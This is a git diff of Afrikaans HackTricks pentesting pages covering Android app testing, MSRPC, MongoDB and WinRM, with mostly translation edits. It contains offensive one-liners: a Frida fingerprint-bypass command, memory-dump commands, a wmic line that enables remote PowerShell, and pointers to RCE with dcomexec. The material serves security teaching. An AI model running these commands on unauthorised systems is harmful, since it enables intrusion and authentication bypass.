### Vervoerlaag Inspeksie en Verifikasiefoute
|
||||
|
||||
* **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oor die hoof sien en self-onderteken sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
|
||||
* **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings oor die hoof sien en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugkeer na die gebruik van HTTP-verbindinge.
|
||||
* **Onderhandelinge tydens die SSL/TLS handdruk is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding kwesbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers in staat stel om die data te ontsleutel.
|
||||
* **Lek van private inligting** is 'n risiko wanneer toepassings outentiseer met behulp van veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering slaag nie daarin om sensitiewe data, soos sessiekoekies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite te beskerm nie.
|
||||
* **Lek van private inligting** is 'n risiko wanneer toepassings verifieer deur veilige kanale, maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering slaag nie daarin om sensitiewe data, soos sessiekookies of gebruikersbesonderhede, teen onderskep deur kwaadwillige entiteite te beskerm nie.
|
||||
|
||||
#### Sertifikaat Verifikasie
|
||||
|
||||
|
@ -479,7 +479,7 @@ Dit is belangrik om ook te soek na algemene web kwesbaarhede binne die toepassin
|
|||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) is 'n dinamiese instrumentasie-gereedskapstel vir ontwikkelaars, omgekeerde ingenieurs, en sekuriteitsnavorsers.\
|
||||
**Jy kan lopende toepassings toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
|
||||
**Jy kan lopende toepassing toegang verkry en metodes op tydstip aanroep om die gedrag te verander, waardes te verander, waardes te onttrek, verskillende kode te loop...**\
|
||||
As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
|
||||
|
||||
* Leer hoe om Frida te gebruik: [**Frida tutoriaal**](frida-tutorial/)
|
||||
|
@ -490,7 +490,7 @@ As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
|
|||
|
||||
### **Dump Geheue - Fridump**
|
||||
|
||||
Kontroleer of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
|
||||
Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie moet stoor nie, soos wagwoorde of mnemonics.
|
||||
|
||||
Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app dump met:
|
||||
```bash
|
||||
|
@ -501,7 +501,7 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Dit sal die geheue in die ./dump gids stort, en daarin kan jy met iets soos grep:
|
||||
Dit sal die geheue in die ./dump gids dump, en daarin kan jy met iets soos grep:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
|
@ -519,7 +519,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||
```
|
||||
### **Vingerafdruk/Biometriese Omseiling**
|
||||
|
||||
Met behulp van die volgende Frida-skrip kan dit moontlik wees om **vingerafdrukverifikasie** te omseil wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
|
||||
Met behulp van die volgende Frida-skrip kan dit moontlik wees om **vingerafdrukverifikasie** te **omseil** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -529,7 +529,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Agtergrond Beelde**
|
||||
|
||||
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin om die beeld te laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
|
||||
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai van die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is.
|
||||
|
||||
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot **daardie inligting steel** (let daarop dat jy root nodig het om toegang te verkry).
|
||||
|
||||
|
@ -547,12 +547,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
|
|||
|
||||
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
|
||||
|
||||
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
|
||||
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objekke omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
|
||||
|
||||
### Essensiële Afleidings
|
||||
|
||||
* **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
|
||||
* Exploits behels die oorplasing van `Intent` objektes as ekstra, wat herlei kan word om onveilige operasies uit te voer.
|
||||
* Exploits behels die oorplasing van `Intent` objekke as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
|
||||
* Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel.
|
||||
* `WebView`’s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer.
|
||||
|
||||
|
@ -568,7 +568,7 @@ Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -591,7 +591,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
![](<../../.gitbook/assets/image (866).png>)
|
||||
|
||||
**Kwetsbaarheidsevaluasie van die toepassing** met 'n pragtige web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
|
||||
**Kwetsbaarheid assessering van die toepassing** met 'n pragtige web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
|
@ -646,10 +646,10 @@ receivers
|
|||
```
|
||||
**HTTP tools**
|
||||
|
||||
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\
|
||||
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen onder. Van die tweede opsie kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
|
||||
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy druk op "**Start Web API Fuzzer**" om **fuzz http versoeke** en soek na kwesbaarhede.
|
||||
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede.
|
||||
|
||||
{% hint style="info" %}
|
||||
Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur:
|
||||
|
@ -661,7 +661,7 @@ adb shell settings put global http_proxy :0
|
|||
### Geassisteerde Dinamiese Analise met Inspeckage
|
||||
|
||||
Jy kan die hulpmiddel van [**Inspeckage**](https://github.com/ac-pm/Inspeckage) kry.\
|
||||
Hierdie hulpmiddel sal **Hooks** gebruik om jou te laat weet **wat in die toepassing gebeur** terwyl jy 'n **dinamiese analise** uitvoer.
|
||||
Hierdie hulpmiddel sal 'n paar **Hooks** gebruik om jou te laat weet **wat in die aansoek gebeur** terwyl jy 'n **dinamiese analise** uitvoer.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
|
@ -671,7 +671,7 @@ Dit is 'n **geweldige hulpmiddel om statiese analise met 'n GUI** uit te voer.
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Hierdie hulpmiddel is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakte APKs**. Die hulpmiddel is ook **in staat om 'n "Bewys-van-Konsep" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
|
||||
Hierdie hulpmiddel is ontwerp om na verskeie **veiligheidsverwante Android aansoek kwesbaarhede** te soek, hetsy in **bronkode** of **verpakte APKs**. Die hulpmiddel is ook **in staat om 'n "Bewys-van-Konsep" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede te benut (Blootgestelde aktiwiteite, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toets toestel te root nie.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -683,7 +683,7 @@ qark --java path/to/specific/java/file.java
|
|||
* Vertoon alle onttrokken lêers vir maklike verwysing
|
||||
* Decompileer APK-lêers outomaties na Java en Smali-formaat
|
||||
* Analiseer AndroidManifest.xml vir algemene kwesbaarhede en gedrag
|
||||
* Statiese bronne-kode analise vir algemene kwesbaarhede en gedrag
|
||||
* Statiese bronkode-analise vir algemene kwesbaarhede en gedrag
|
||||
* Toestelinligting
|
||||
* en meer
|
||||
```bash
|
||||
|
@ -693,7 +693,7 @@ reverse-apk relative/path/to/APP.apk
|
|||
|
||||
SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Linux, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekomprimeer en 'n reeks reëls toe te pas om daardie kwesbaarhede te ontdek.
|
||||
|
||||
Alle reëls is gesentreer in 'n `rules.json` lêer, en elke maatskappy of toetsers kan sy eie reëls skep om te analiseer wat hulle nodig het.
|
||||
Alle reëls is sentraal in 'n `rules.json` lêer, en elke maatskappy of toetsers kan sy eie reëls skep om te analiseer wat hulle nodig het.
|
||||
|
||||
Laai die nuutste binêre af van die [aflaai bladsy](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
|
@ -705,7 +705,7 @@ super-analyzer {apk_file}
|
|||
|
||||
StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static\_program\_analysis) op mobiele toepassings uit te voer.
|
||||
|
||||
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa-lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
|
||||
Die konsep is dat jy jou mobiele toepassingslêer (n .apk of .ipa lêer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry.
|
||||
|
||||
Laai [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
|
@ -723,7 +723,7 @@ androbugs.exe -f [APK file]
|
|||
|
||||
**Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is.
|
||||
|
||||
Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, voorgestel as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, voorgestel as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
|
||||
Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering...
|
||||
```
|
||||
|
@ -742,7 +742,7 @@ Dit is in staat om:
|
|||
* Privaat inligting uit die APK te onttrek met behulp van regexps.
|
||||
* Die Manifest te analiseer.
|
||||
* Gevonde domeine te analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* APK te deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
* APK te deobfuscate via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
|
@ -760,7 +760,7 @@ ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassin
|
|||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Vind 'n stap-vir-stap gids om die apk te deobfuscate in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Van daardie gids) Laas keer wat ons gekyk het, was die Dexguard werksmodus:
|
||||
|
||||
|
@ -768,7 +768,7 @@ Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/d
|
|||
* voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel;
|
||||
* doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omkeerder te mors;
|
||||
* voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
|
||||
* laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
|
||||
* laai uiteindelik die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
|
@ -786,7 +786,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
|
|||
|
||||
### Manual
|
||||
|
||||
[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverseer**](manual-deobfuscation.md)
|
||||
[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverse**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
|
@ -808,7 +808,7 @@ AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat
|
|||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -816,7 +816,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener o
|
|||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Hou op hoogte met die vinnige wêreld van hacking deur middel van real-time nuus en insigte
|
||||
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
|
||||
|
||||
**Latest Announcements**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
|
@ -23,7 +23,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -32,7 +32,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Die Microsoft Remote Procedure Call (MSRPC) protokol, 'n kliënt-bediener model wat 'n program in staat stel om 'n diens van 'n program op 'n ander rekenaar aan te vra sonder om die netwerk se spesifieke besonderhede te verstaan, is aanvanklik afgelei van oopbron sagteware en later ontwikkel en kopiereg deur Microsoft.
|
||||
Die Microsoft Remote Procedure Call (MSRPC) protokol, 'n kliënt-bediener model wat 'n program in staat stel om 'n diens van 'n program op 'n ander rekenaar aan te vra sonder om die netwerk se spesifikasies te verstaan, is aanvanklik afgelei van oopbron sagteware en later ontwikkel en kopiereg deur Microsoft.
|
||||
|
||||
Die RPC eindpunt mapper kan toegang verkry via TCP en UDP poort 135, SMB op TCP 139 en 445 (met 'n nul of geverifieerde sessie), en as 'n webdiens op TCP poort 593.
|
||||
```
|
||||
|
@ -40,7 +40,7 @@ Die RPC eindpunt mapper kan toegang verkry via TCP en UDP poort 135, SMB op TCP
|
|||
```
|
||||
## Hoe werk MSRPC?
|
||||
|
||||
Geïnisieer deur die kliënttoepassing, behels die MSRPC-proses die oproep van 'n plaaslike stub-prosedure wat dan met die kliënt-runtime-biblioteek interaksie het om die versoek voor te berei en na die bediener te stuur. Dit sluit die omskakeling van parameters in 'n standaard Netwerkdata-representasieformaat in. Die keuse van die vervoersprotokol word deur die runtime-biblioteek bepaal as die bediener afgeleë is, wat verseker dat die RPC deur die netwerkstapel afgelewer word.
|
||||
Geïnisieer deur die kliënttoepassing, behels die MSRPC-proses die oproep van 'n plaaslike stub-prosedure wat dan met die kliënt-runtime-biblioteek interaksie het om die versoek voor te berei en na die bediener te stuur. Dit sluit die omskakeling van parameters in 'n standaard Netwerkdata-representasie-formaat in. Die keuse van die vervoersprotokol word deur die runtime-biblioteek bepaal as die bediener afgeleë is, wat verseker dat die RPC deur die netwerkstapel afgelewer word.
|
||||
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
|
@ -95,13 +95,13 @@ All options except `tcp_dcerpc_auditor` is spesifiek ontwerp om MSRPC op poort 1
|
|||
|
||||
Met behulp van [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), afkomstig van [Airbus navorsing](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) is dit moontlik om die _**ServerAlive2**_ metode binne die _**IOXIDResolver**_ koppelvlak te misbruik.
|
||||
|
||||
Hierdie metode is gebruik om koppelvlak inligting as **IPv6** adres van die HTB boks _APT_ te verkry. Sien [hier](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) vir 0xdf APT skrywe, dit sluit 'n alternatiewe metode in wat rpcmap.py van [Impacket](https://github.com/SecureAuthCorp/impacket/) met _stringbinding_ gebruik (sien hierbo).
|
||||
Hierdie metode is gebruik om koppelvlak inligting as **IPv6** adres van die HTB boks _APT_ te verkry. Sien [hier](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) vir 0xdf APT skrywe, dit sluit 'n alternatiewe metode in wat rpcmap.py van [Impacket](https://github.com/SecureAuthCorp/impacket/) gebruik met _stringbinding_ (sien hierbo).
|
||||
|
||||
### Uitvoering van 'n RCE met geldige akrediteer
|
||||
|
||||
Dit is moontlik om afstandkode op 'n masjien uit te voer, as die akrediteer van 'n geldige gebruiker beskikbaar is met behulp van [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) van die impacket raamwerk.
|
||||
|
||||
**Onthou om met die verskillende beskikbare voorwerpe te probeer**
|
||||
**Onthou om met die verskillende beskikbare objekte te probeer**
|
||||
|
||||
* ShellWindows
|
||||
* ShellBrowserWindow
|
||||
|
@ -109,7 +109,7 @@ Dit is moontlik om afstandkode op 'n masjien uit te voer, as die akrediteer van
|
|||
|
||||
## Poort 593
|
||||
|
||||
Die **rpcdump.exe** van [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) kan met hierdie poort kommunikeer.
|
||||
Die **rpcdump.exe** van [rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) kan met hierdie poort interaksie hê.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -117,7 +117,7 @@ Die **rpcdump.exe** van [rpctools](https://resources.oreilly.com/examples/978059
|
|||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regstyds Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -53,7 +53,7 @@ print(db)
|
|||
print(client[db["name"]].list_collection_names())
|
||||
#If admin access, you could dump the database also
|
||||
```
|
||||
**Sommige MongoDB opdragte:**
|
||||
**Sommige MongoDB-opdragte:**
|
||||
```bash
|
||||
show dbs
|
||||
use <db>
|
||||
|
@ -95,7 +95,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not
|
|||
```
|
||||
## Mongo Objectid Voorspel
|
||||
|
||||
Voorbeeld [hier vandaan](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||
Voorbeeld [van hier](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||
|
||||
Mongo Object ID's is **12-byte hexadesimale** strings:
|
||||
|
||||
|
@ -118,7 +118,7 @@ As jy root is, kan jy die **mongodb.conf** lêer **wysig** sodat geen akrediteer
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
|
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
**Hacking Insigte**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -39,7 +39,7 @@ Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afg
|
|||
* **5985/tcp (HTTP)**
|
||||
* **5986/tcp (HTTPS)**
|
||||
|
||||
'n Geopende poort uit die lys hierbo dui aan dat WinRM opgestel is, wat pogings om 'n afgeleë sessie te begin, toelaat.
|
||||
'n Geopende poort uit die bogenoemde lys dui aan dat WinRM opgestel is, wat pogings toelaat om 'n afgeleë sessie te begin.
|
||||
|
||||
### **Begin 'n WinRM Sessies**
|
||||
|
||||
|
@ -54,11 +54,11 @@ Boonop kan WinRM **afgeleë geaktiveer** word met die `wmic` opdrag, soos hieron
|
|||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter.
|
||||
This metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter.
|
||||
|
||||
### Toets of geconfigureer
|
||||
|
||||
